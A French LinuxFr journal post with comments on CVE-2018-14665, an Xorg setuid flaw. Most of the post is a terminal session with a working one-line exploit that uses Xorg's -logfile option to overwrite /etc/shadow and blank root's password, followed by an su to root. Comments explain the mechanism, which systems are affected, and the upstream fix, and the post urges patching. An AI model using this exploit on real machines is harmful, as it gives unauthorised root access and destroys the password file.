Journal La faille grosse comme une maison

Posté par  (Mastodon) . Licence CC By‑SA.
Étiquettes :
28
26
oct.
2018

[Dev@localhost ~]$ id

uid=1000(Dev) gid=1000(Dev) groups=1000(Dev) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[Dev@localhost ~]$
[Dev@localhost ~]$ cd /etc
[Dev@localhost etc]$
[Dev@localhost etc]$ ls -la shadow

----------. 1 root root 1241 Oct 10 01:15 shadow

[Dev@localhost etc]$
[Dev@localhost etc]$ cat shadow

cat: shadow: Permission denied

[Dev@localhost etc]$
[Dev@localhost etc]$ Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1

X.Org X Server 1.19.5
Release Date: 2017-10-12
X Protocol Version 11, Revision 0
Build Operating System: 3.10.0-693.17.1.el7.x86_64
Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
Build Date: 11 April 2018 04:40:54PM
Build ID: xorg-x11-server 1.19.5-5.el7
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org
to make sure that you have the latest version.
Markers: (--) probed, (**) from config file, (==) default setting,
(++) from command line, (!!) notice, (II) informational,
(WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(++) Log file: "shadow", Time: Wed Oct 10 01:16:10 2018
(==) Using config directory: "/etc/X11/xorg.conf.d"
(==) Using system config directory "/usr/share/X11/xorg.conf.d"
Cerror setting MTRR (base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument (22)
(II) Server terminated successfully (0). Closing log file.

[Dev@localhost etc]$ ls -la shadow

-rw-r--r--. 1 root Dev 53897 Oct 10 01:16 shadow

[Dev@localhost etc]$
[Dev@localhost etc]$ cat shadow | grep "root::"

 root::16431:0:99999:7:::

[Dev@localhost etc]$
[Dev@localhost etc]$
[Dev@localhost etc]$ su
[root@localhost etc]#
[root@localhost etc]# id

uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023``

Bref patchez toutes vos machines qui peuvent avoir un xorg qui traine quelque part (et ça j'en ai vu des xorgs qui servent à rien installés par des presta, dba paresseux ou autre).

  • # petit oublis

    Posté par  (Mastodon) . Évalué à 10. Dernière modification le 26 octobre 2018 à 11:05.

    CVE-2018-14665 : Xorg X Server Vulnerabilities
    La source de l'exemple d'utilisation de la faille: https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html
    Le commit de correction : https://gitlab.freedesktop.org/xorg/xserver/commit/8a59e3b7dbb30532a7c3769c555e00d7c4301170
    Le bug chez RH : https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-14665
    l'annonce chez xorg : https://lists.x.org/archives/xorg-announce/2018-October/002927.html

    (si quelqu'un veut bien les incorporer dans le corps du journal, c'est volontiers.

  • # Magnifique !

    Posté par  (site web personnel) . Évalué à 10.

    Pour ceux qui n'auraient pas tout compris, la faille est là :

    Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1

    Sur de nombreuses machines, Xorg est setuid root. Lancé par un utilisateur normal il s'exécute donc automatiquement en tant que root.

    La ligne de commande utilisée ci-dessus dit à Xorg d'écrire son log dans le fichier shadow, qui contient les mots de passe des utilisateurs sur les installations standard. Bien sûr normalement on n'écrit jamais dans shadow, sauf pour changer un utilisateur ou un mot de passe. Mais root peut écrire où bon lui semble.

    L'argument à fp est incorrect pour Xorg, mais est une ligne correcte pour le fichier shadow ; au final Xorg en tant que root écrit cette ligne dans le fichier shadow. Puis il s'arrête car la ligne de commande est incorrecte.

    Et cette ligne dans shadow dit tout simplement que l'utilisateur root n'a pas de mot de passe. Il suffit de faire su ou sudo pour passer en root sans mot de passe ! C'est pas discret car on a dégommé tout le reste du fichier, mais on s'en fout, on est root (et on peut restaurer la copie shadow- qui est souvent présente à côté du fichier shadow).

    Bon, par contre il faut avoir un accès shell à la machine (ce qui est déjà une grosse porte ouverte), et il faut que le serveur Xorg soit setuid root, ce qui est de moins en moins le cas. Par exemple sous Ubuntu, il faut installer le paquet xserver-xorg-legacy pour avoir un Xorg setuid root, il n'est pas là par défaut.

    • [^] # Re: Magnifique !

      Posté par  (site web personnel) . Évalué à 5.

      […] et il faut que le serveur Xorg soit setuid root, ce qui est de moins en moins le cas.

      En effet sous Debian Stretch :

      ls -lha /usr/bin/Xorg
-rwxr-xr-x 1 root 274 oct.  14  2017 /usr/bin/Xorg

      En fait c'est un wrapper vers /usr/lib/xorg/Xorg.wrap qui est bien setuid (Xwrapper.config(5)).
      Par défaut on autorise (via /etc/X11/Xwrapper.config) que les connexions en tty et non pts donc on aura le droit à :

      /usr/lib/xorg/Xorg.wrap: Only console users are allowed to run the X server

      Donc l'attaque ne fonctionnera pas via SSH. En revanche si on autorise tout le monde (allowed_users=anybody), là, l'attaque fonctionne.

      • [^] # Re: Magnifique !

        Posté par  . Évalué à 1.

        Le fait que Xorg soit un wrapper vers Xorg.wrap ne change rien si ce dernier est setuid root.

        Je viens de faire quelques tests sur ma debian/sid et le bug ne semble pas présent. Xorg.wrap est setuid root mais il échoue lors du renommage de /etc/shadow en /etc/shadow.old.

    • [^] # Re: Magnifique !

      Posté par  (site web personnel) . Évalué à 3.

      Je manipule de moins en moins des fichiers systèmes, alors ceci ne m'évoquait plus grand chose:

      root::16431:0:99999:7:::

      Il faut commencer par comparer avec la ligne existance avec sudo grep root /etc/shadow. Pour comprendre un peu mieux je rajoute un extrait de man shadow. C'est le 2ème champ vide (plutôt qu'avec un point d'exclamation, en tout cas sur ma vieille Ubuntu) qui ouvre la porte:

      mot de passe chiffré
           Consultez crypt(3) pour plus d'informations sur le traitement de cette chaîne.

           Si le champ du mot de passe contient une chaîne qui ne peut pas être un résultat valable de crypt(3), par exemple si elle contient les caractères ! ou *, alors l'utilisateur ne pourra pas utiliser
           son mot de passe UNIX pour se connecter (mais il se peut que l'utilisateur puisse se connecter au système par d'autres moyens).

           Ce champ peut être vide. Dans ce cas aucun mot de passe n'est nécessaire pour s'authentifier avec l'identifiant de connexion indiqué. Cependant, certaines applications qui lisent le fichier
           /etc/shadow peuvent n'autoriser aucun accès si le mot de passe est vide.

           Un champ de mot de passe qui commence avec un point d'exclamation indique que le mot de passe est bloqué. Les caractères restants sur la ligne représentent le champ de mot de passe avant que le
           mot de passe n'ait été bloqué.

      • [^] # Re: Magnifique !

        Posté par  . Évalué à 5.

        Merci!
        Juste pour completer, man xserver:

        -fp fontPath
sets the search path for fonts. This path is a comma separated list of directories which the X server searches for font databases. See the FONTS section of this manual page for more information and the default list.

        Passque moi je savais pas ce que c'était cette option…

    • [^] # Re: Magnifique !

      Posté par  . Évalué à 4. Dernière modification le 29 octobre 2018 à 20:48.

      Et cette ligne dans shadow dit tout simplement que l'utilisateur root n'a pas de mot de passe. Il suffit de faire su ou sudo pour passer en root sans mot de passe !

      Pas du tout :

      # grep root /etc/shadow
root::17409:0:99999:7:::
# exit
$ su -
Mot de passe : 
su : Échec d'authentification
$ su - root
Mot de passe : 
su : Échec d'authentification
$ su
Mot de passe : 
su : Échec d'authentification

      Par contre sur la console, il suffit de taper root dans le champ login pour se connecter.

  • # Ça l'air intéressant

    Posté par  (site web personnel, Mastodon) . Évalué à 6.

    Et inquiétant, mais un peu de mise en forme serait pas de refus (et il doit manquer des morceaux aussi).

  • # Quelques billes

    Posté par  . Évalué à 10.

    Il est bon de noter que cette faille a été ajoutée dans Xorg 1.19, par un mauvais nettoyage de code commis il y a 2 ans. Les versions précédentes ne sont pas affectées car le log ne pouvait pas être écrit quand le binaire était lancé en SUID.

    ⚓ À g'Auch TOUTE! http://afdgauch.online.fr

    • [^] # Re: Quelques billes

      Posté par  (site web personnel) . Évalué à 3.

      Le "nettoyage" ne fait qu'enlever le gardien.
      On sait pourquoi cette modification a été effectuée ?
      Et pourquoi ce code était interdit quand lancé en root auparavant?

      • [^] # Re: Quelques billes

        Posté par  . Évalué à -4.

        On sait donc pourquoi x-window a de plus en plus de problèmes de sécurité:

        D'une part parce qu'il a été conçu pour s'exécuter en mode administrateur, même si des utilisateurs non-privilégiés peuvent y accéder,

        Et d'autre part parce que des gens qui prônent la sécurité à tout prix au mépris de toute autre considération font des modifications qui sont au dessus de leur niveau de compétence en ce qui concerne ce logiciel…

        If it ain't broken, don't fix it, c'est pas faute de le dire et de le répéter!

Suivre le flux des commentaires

Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.